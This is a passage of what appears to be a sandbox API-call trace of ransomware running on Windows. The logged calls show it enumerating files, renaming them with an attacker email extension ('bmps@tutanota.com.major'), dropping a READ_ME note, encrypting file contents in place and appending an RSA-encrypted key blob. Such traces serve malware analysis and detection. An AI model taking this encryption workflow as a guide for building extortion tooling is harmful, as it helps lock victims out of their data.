lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.753] CloseHandle (hObject=0x1b00) returned 1 [0248.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eb78 | out: hHeap=0x570000) returned 1 [0248.754] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\0.0.filtertrie.intermediate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0248.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0248.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0248.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4d88 | out: hHeap=0x570000) returned 1 [0248.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x130) returned 0x5815b0 [0248.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x581478 | out: hHeap=0x570000) returned 1 [0248.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0248.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6730 | out: hHeap=0x570000) returned 1 [0248.756] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x249cf976, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24d16d3f, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f318e0 [0248.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8280 | out: hHeap=0x570000) returned 1 [0248.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0248.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0248.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0248.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654a08 [0248.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5aa568 [0248.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0248.757] GetLastError () returned 0x0 [0248.757] SetLastError (dwErrCode=0x0) [0248.757] GetLastError () returned 0x0 [0248.757] SetLastError (dwErrCode=0x0) [0248.757] GetLastError () returned 0x0 [0248.757] SetLastError (dwErrCode=0x0) [0248.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0248.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0248.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f318a0 [0248.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f318a0 | out: hHeap=0x570000) returned 1 [0248.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0248.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0248.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0248.757] FindNextFileW (in: hFindFile=0x2f318e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x249cf976, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24d16d3f, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664dc8 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654a08 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664dc8 | out: hHeap=0x570000) returned 1 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5aa568 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0248.758] GetLastError () returned 0x0 [0248.758] SetLastError (dwErrCode=0x0) [0248.758] GetLastError () returned 0x0 [0248.758] SetLastError (dwErrCode=0x0) [0248.758] GetLastError () returned 0x0 [0248.758] SetLastError (dwErrCode=0x0) [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be5d8 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be5d8 | out: hHeap=0x570000) returned 1 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f31ba0 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f31ba0 | out: hHeap=0x570000) returned 1 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0248.758] FindNextFileW (in: hFindFile=0x2f318e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c5825f, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24c5825f, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24ca4711, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x541a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0248.758] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.758] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0248.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0248.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0248.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0248.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0248.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654d80 [0248.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0248.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5aa568 [0248.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654d80 | out: hHeap=0x570000) returned 1 [0248.759] GetLastError () returned 0x0 [0248.759] SetLastError (dwErrCode=0x0) [0248.759] GetLastError () returned 0x0 [0248.759] SetLastError (dwErrCode=0x0) [0248.759] GetLastError () returned 0x0 [0248.759] SetLastError (dwErrCode=0x0) [0248.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0248.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0248.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5b4d88 [0248.759] FindNextFileW (in: hFindFile=0x2f318e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca4711, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24ca4711, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24ca4711, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0248.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0248.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0248.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0248.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6654d0 [0248.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0248.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654b30 [0248.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6654d0 | out: hHeap=0x570000) returned 1 [0248.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5aa568 [0248.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654b30 | out: hHeap=0x570000) returned 1 [0248.760] GetLastError () returned 0x0 [0248.760] SetLastError (dwErrCode=0x0) [0248.760] GetLastError () returned 0x0 [0248.760] SetLastError (dwErrCode=0x0) [0248.760] GetLastError () returned 0x0 [0248.760] SetLastError (dwErrCode=0x0) [0248.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0248.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0248.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5a8108 [0248.760] FindNextFileW (in: hFindFile=0x2f318e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca4711, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24ca4711, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24ca4711, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0248.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0248.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0248.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0248.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0248.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0248.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0248.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6565c8 [0248.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0248.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5a8280 [0248.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6565c8 | out: hHeap=0x570000) returned 1 [0248.760] GetLastError () returned 0x0 [0248.760] SetLastError (dwErrCode=0x0) [0248.760] GetLastError () returned 0x0 [0248.760] SetLastError (dwErrCode=0x0) [0248.761] GetLastError () returned 0x0 [0248.761] SetLastError (dwErrCode=0x0) [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0248.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x170) returned 0x5aa568 [0248.761] FindNextFileW (in: hFindFile=0x2f318e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24d16d3f, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24d16d3f, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24d3d07b, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x710f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Apps.ft", cAlternateFileName="")) returned 1 [0248.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8280 | out: hHeap=0x570000) returned 1 [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0248.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0248.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654a08 [0248.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5a8280 [0248.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0248.761] GetLastError () returned 0x0 [0248.761] SetLastError (dwErrCode=0x0) [0248.761] GetLastError () returned 0x0 [0248.761] SetLastError (dwErrCode=0x0) [0248.761] GetLastError () returned 0x0 [0248.761] SetLastError (dwErrCode=0x0) [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fadf30 [0248.761] FindNextFileW (in: hFindFile=0x2f318e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c0bccd, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24c0bccd, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24d3d07b, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x25cec, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Apps.index", cAlternateFileName="APPS~1.IND")) returned 1 [0248.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8280 | out: hHeap=0x570000) returned 1 [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0248.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0248.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664b70 [0248.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0248.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654ea8 [0248.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0248.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5a8280 [0248.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654ea8 | out: hHeap=0x570000) returned 1 [0248.762] GetLastError () returned 0x0 [0248.762] SetLastError (dwErrCode=0x0) [0248.762] GetLastError () returned 0x0 [0248.762] SetLastError (dwErrCode=0x0) [0248.762] GetLastError () returned 0x0 [0248.762] SetLastError (dwErrCode=0x0) [0248.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fae450 [0248.762] FindNextFileW (in: hFindFile=0x2f318e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4761ef4a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4761ef4a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0248.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8280 | out: hHeap=0x570000) returned 1 [0248.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0248.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0248.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0248.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0248.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0248.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655598 [0248.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6646c0 | out: hHeap=0x570000) returned 1 [0248.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5a8280 [0248.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0248.762] GetLastError () returned 0x0 [0248.762] SetLastError (dwErrCode=0x0) [0248.762] GetLastError () returned 0x0 [0248.762] SetLastError (dwErrCode=0x0) [0248.763] GetLastError () returned 0x0 [0248.763] SetLastError (dwErrCode=0x0) [0248.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.763] FindNextFileW (in: hFindFile=0x2f318e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4761ef4a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4761ef4a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4761ef4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0248.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fadde8 [0248.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.763] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.763] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.index", dwFileAttributes=0x80) returned 1 [0248.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fadb58 [0248.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1de) returned 0x66e948 [0248.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fadb58 | out: hHeap=0x570000) returned 1 [0248.765] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\apps.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b04 [0248.766] GetFileSizeEx (in: hFile=0x1b04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=154860) returned 1 [0248.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x25cec) returned 0x33f5018 [0248.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x25cec) returned 0x341ad10 [0248.766] ReadFile (in: hFile=0x1b04, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x25cec, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x25cec, lpOverlapped=0x0) returned 1 [0248.807] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=-154860, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.807] WriteFile (in: hFile=0x1b04, lpBuffer=0x341ad10*, nNumberOfBytesToWrite=0x25cec, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x341ad10*, lpNumberOfBytesWritten=0x2e3f9b4*=0x25cec, lpOverlapped=0x0) returned 1 [0248.808] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0248.808] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x341ad10 | out: hHeap=0x570000) returned 1 [0248.808] SetFilePointer (in: hFile=0x1b04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x25cec [0248.808] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.808] WriteFile (in: hFile=0x1b04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.808] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.808] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.808] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.808] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66eb30 [0248.808] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb30, pcchString=0x2e3f9a8 | out: pszString="/l0mJ59yYWGsZFnCmvH+rpwCyieMoctirb3Vl/KmUxJ1rSrAOHG2qlbQ2nWFuebh\nLq7d5FIdW1bmaf84gYPnzR3ZL9RpmMKnoFe3SW4zGlZ0qVhu6eeQlMD4R7b4kizi\n5cSKNhsOR+/iW8Lc0ScD7SNUrnbe6qTowVEW6tcCGNdkqF1aq8pdiYlV0ICINiWt\nHd9xhLO5lQwffX6NwKNF9JbhkNVLU+T860bxZnIZlBToLIZkmMhKrP7gtTtXqgSS\nYmzri1rq/1auI1bk5Sp/fPXfR1n6dUE6vlDISeuftIva3gi8YIMWEqIkKtmy/0pr\n0gBCE1H4ypxN89TfbgtIrw==\n", pcchString=0x2e3f9a8) returned 1 [0248.808] WriteFile (in: 